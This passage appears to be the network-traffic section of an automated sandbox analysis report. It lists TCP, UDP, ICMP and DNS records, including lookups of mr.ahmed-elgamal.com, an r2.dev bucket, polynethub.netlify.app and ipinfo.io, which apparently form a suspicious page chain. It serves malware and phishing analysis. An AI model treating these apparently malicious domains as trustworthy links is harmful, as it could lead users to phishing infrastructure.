Mar 13, 2025 10:08:33.200803995 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.201005936 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.201026917 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.264758110 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.265418053 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.265438080 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.265834093 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.265841007 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.361819983 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.361911058 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.361973047 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.362153053 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.362174988 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.362188101 CET	49779	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.362194061 CET	443	49779	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.364773035 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.364820957 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.364892006 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.365024090 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.365036011 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.460433006 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.485065937 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.485131979 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.485152006 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.485167027 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.485230923 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.485304117 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.485326052 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.485341072 CET	49780	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.485346079 CET	443	49780	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.488162041 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.488221884 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:33.488312960 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.488444090 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:33.488460064 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.003072977 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.003160000 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.003226995 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.003385067 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.003405094 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.003415108 CET	49781	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.003421068 CET	443	49781	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.006426096 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.006469965 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:34.006550074 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.006721973 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:34.006736040 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.225505114 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.226016045 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.226043940 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.226473093 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.226480007 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.332580090 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.333830118 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.333852053 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.334410906 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.334415913 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.398261070 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.402128935 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.402137995 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.402554035 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.402558088 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.606442928 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.606965065 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.606992960 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.607425928 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.607431889 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.747263908 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.747340918 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.747437954 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.747652054 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.747668028 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.747678995 CET	49783	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.747684956 CET	443	49783	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.750920057 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.750947952 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.751024008 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.751174927 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.751189947 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.883402109 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.883426905 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.883501053 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.883588076 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.883646965 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.883963108 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.883985996 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.884000063 CET	49784	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.884006023 CET	443	49784	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.887280941 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.887329102 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.887429953 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.887656927 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.887670994 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.926266909 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.926345110 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.926446915 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.926716089 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.926733017 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.926745892 CET	49785	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.926753044 CET	443	49785	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.930000067 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.930049896 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:35.930167913 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.930388927 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:35.930402994 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.176948071 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.177592993 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.177624941 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.178035975 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.178041935 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.307408094 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.326288939 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.326427937 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.326510906 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.326529980 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.326545954 CET	49786	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.326554060 CET	443	49786	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.330106020 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.330147028 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.330235958 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.330462933 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.330482006 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.702100039 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.739170074 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.739248991 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.739326000 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.739351034 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.739365101 CET	49787	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.739371061 CET	443	49787	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.742455959 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.742491007 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:36.742562056 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.742773056 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:36.742788076 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.918488979 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.919159889 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:37.919198990 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.919595003 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:37.919600964 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.934602976 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.935086012 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:37.935117006 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:37.935434103 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:37.935441017 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.073489904 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.073952913 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.073976994 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.074390888 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.074395895 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.189274073 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:38.189305067 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:38.189377069 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:38.189765930 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:38.189779043 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:38.502446890 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.503062010 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.503072023 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.503513098 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.503519058 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.638323069 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.638406992 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.638514042 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.638709068 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.638726950 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.638756037 CET	49791	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.638761997 CET	443	49791	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.641711950 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.641753912 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.641968966 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.642071009 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.642085075 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.649528027 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.649590969 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.649782896 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.649835110 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.649853945 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.649864912 CET	49790	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.649872065 CET	443	49790	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.841340065 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.841916084 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.841933012 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.842361927 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.842366934 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.862835884 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.862868071 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.862914085 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.862943888 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.863003016 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.863212109 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.863234043 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:38.863244057 CET	49792	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:38.863250017 CET	443	49792	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.184869051 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.184957027 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.185028076 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.185237885 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.185250998 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.185260057 CET	49793	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.185265064 CET	443	49793	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.562422991 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.562490940 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.562577963 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.562808990 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.562839985 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:39.562855005 CET	49794	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:39.562863111 CET	443	49794	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:40.141060114 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:08:40.141084909 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:08:40.333710909 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:40.334132910 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:40.334148884 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:40.335197926 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:40.335269928 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:40.336332083 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:40.336395025 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:40.391084909 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:40.391104937 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:40.437963963 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:40.773684978 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:40.774327993 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:40.774350882 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:40.774796963 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:40.774801016 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:41.355171919 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:41.355262041 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:41.355479956 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:41.355757952 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:41.355770111 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:41.355782032 CET	49797	443	192.168.2.12	13.107.246.60
Mar 13, 2025 10:08:41.355787039 CET	443	49797	13.107.246.60	192.168.2.12
Mar 13, 2025 10:08:49.952384949 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:49.952474117 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:49.952589035 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:51.095535040 CET	49795	443	192.168.2.12	142.250.184.196
Mar 13, 2025 10:08:51.095557928 CET	443	49795	142.250.184.196	192.168.2.12
Mar 13, 2025 10:08:51.421991110 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:08:51.427031994 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:08:51.427114964 CET	49713	80	192.168.2.12	172.217.18.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:07:34.476716995 CET	53	55437	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:34.543726921 CET	53	57034	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:38.126914024 CET	54420	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:38.127161026 CET	59772	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:38.133610010 CET	53	59772	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:38.133878946 CET	53	54420	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:38.238998890 CET	53	60471	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:38.649111986 CET	53	56153	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:40.384480953 CET	62415	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:40.384628057 CET	52940	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:40.393501043 CET	53	62415	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:40.430119038 CET	53	52940	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:42.946645975 CET	58177	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:42.946834087 CET	58238	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:42.956048965 CET	53	58177	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:42.957921982 CET	53	58238	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.171328068 CET	53	52533	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.183940887 CET	61372	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:48.184011936 CET	53410	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:48.184618950 CET	65355	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:48.184768915 CET	50826	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:48.190716028 CET	53	61372	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.190771103 CET	53	53410	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.191303015 CET	53	50826	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.191853046 CET	53	65355	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:48.192521095 CET	53	55580	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:51.013200045 CET	52510	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:51.013386011 CET	55222	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:51.021675110 CET	53	52510	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:51.021914005 CET	53	55222	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:51.643322945 CET	53	59199	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:53.961724043 CET	49469	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:53.961934090 CET	54883	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:53.970501900 CET	53	49469	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:53.970699072 CET	53	54883	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:54.462052107 CET	53122	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:54.462245941 CET	52785	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:54.468904972 CET	53	53122	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:54.469777107 CET	53	52785	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:55.604096889 CET	53	52527	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:56.930254936 CET	60110	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:56.930254936 CET	63331	53	192.168.2.12	1.1.1.1
Mar 13, 2025 10:07:56.936911106 CET	53	60110	1.1.1.1	192.168.2.12
Mar 13, 2025 10:07:56.938167095 CET	53	63331	1.1.1.1	192.168.2.12
Mar 13, 2025 10:08:14.636182070 CET	53	64925	1.1.1.1	192.168.2.12
Mar 13, 2025 10:08:31.863455057 CET	138	138	192.168.2.12	192.168.2.255
Mar 13, 2025 10:08:34.132353067 CET	53	63925	1.1.1.1	192.168.2.12
Mar 13, 2025 10:08:37.166722059 CET	53	57858	1.1.1.1	192.168.2.12
Mar 13, 2025 10:08:38.525230885 CET	53	65415	1.1.1.1	192.168.2.12

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 10:07:40.430463076 CET	192.168.2.12	1.1.1.1	c232	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 10:07:38.126914024 CET	192.168.2.12	1.1.1.1	0x2250	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:38.127161026 CET	192.168.2.12	1.1.1.1	0xe09f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 10:07:40.384480953 CET	192.168.2.12	1.1.1.1	0x9ccb	Standard query (0)	mr.ahmed-elgamal.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:40.384628057 CET	192.168.2.12	1.1.1.1	0x5c4f	Standard query (0)	mr.ahmed-elgamal.com	65	IN (0x0001)	false
Mar 13, 2025 10:07:42.946645975 CET	192.168.2.12	1.1.1.1	0xa5dd	Standard query (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:42.946834087 CET	192.168.2.12	1.1.1.1	0x12be	Standard query (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	65	IN (0x0001)	false
Mar 13, 2025 10:07:48.183940887 CET	192.168.2.12	1.1.1.1	0x5e00	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.184011936 CET	192.168.2.12	1.1.1.1	0x7a14	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 13, 2025 10:07:48.184618950 CET	192.168.2.12	1.1.1.1	0x4404	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.184768915 CET	192.168.2.12	1.1.1.1	0x8ab7	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 13, 2025 10:07:51.013200045 CET	192.168.2.12	1.1.1.1	0xc205	Standard query (0)	polynethub.netlify.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:51.013386011 CET	192.168.2.12	1.1.1.1	0x16d6	Standard query (0)	polynethub.netlify.app	65	IN (0x0001)	false
Mar 13, 2025 10:07:53.961724043 CET	192.168.2.12	1.1.1.1	0x3b0a	Standard query (0)	polynethub.netlify.app	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:53.961934090 CET	192.168.2.12	1.1.1.1	0x4b87	Standard query (0)	polynethub.netlify.app	65	IN (0x0001)	false
Mar 13, 2025 10:07:54.462052107 CET	192.168.2.12	1.1.1.1	0x7c03	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:54.462245941 CET	192.168.2.12	1.1.1.1	0xb1bd	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 13, 2025 10:07:56.930254936 CET	192.168.2.12	1.1.1.1	0x51c9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:56.930254936 CET	192.168.2.12	1.1.1.1	0x5f0e	Standard query (0)	ipinfo.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 10:07:38.133610010 CET	1.1.1.1	192.168.2.12	0xe09f	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 13, 2025 10:07:38.133878946 CET	1.1.1.1	192.168.2.12	0x2250	No error (0)	www.google.com	142.250.184.196	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:40.393501043 CET	1.1.1.1	192.168.2.12	0x9ccb	No error (0)	mr.ahmed-elgamal.com	138.197.101.40	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:42.956048965 CET	1.1.1.1	192.168.2.12	0xa5dd	No error (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	172.66.0.235	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:42.956048965 CET	1.1.1.1	192.168.2.12	0xa5dd	No error (0)	pub-160645733abe48e1a173755d32058a26.r2.dev	162.159.140.237	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.190716028 CET	1.1.1.1	192.168.2.12	0x5e00	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:07:48.190716028 CET	1.1.1.1	192.168.2.12	0x5e00	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
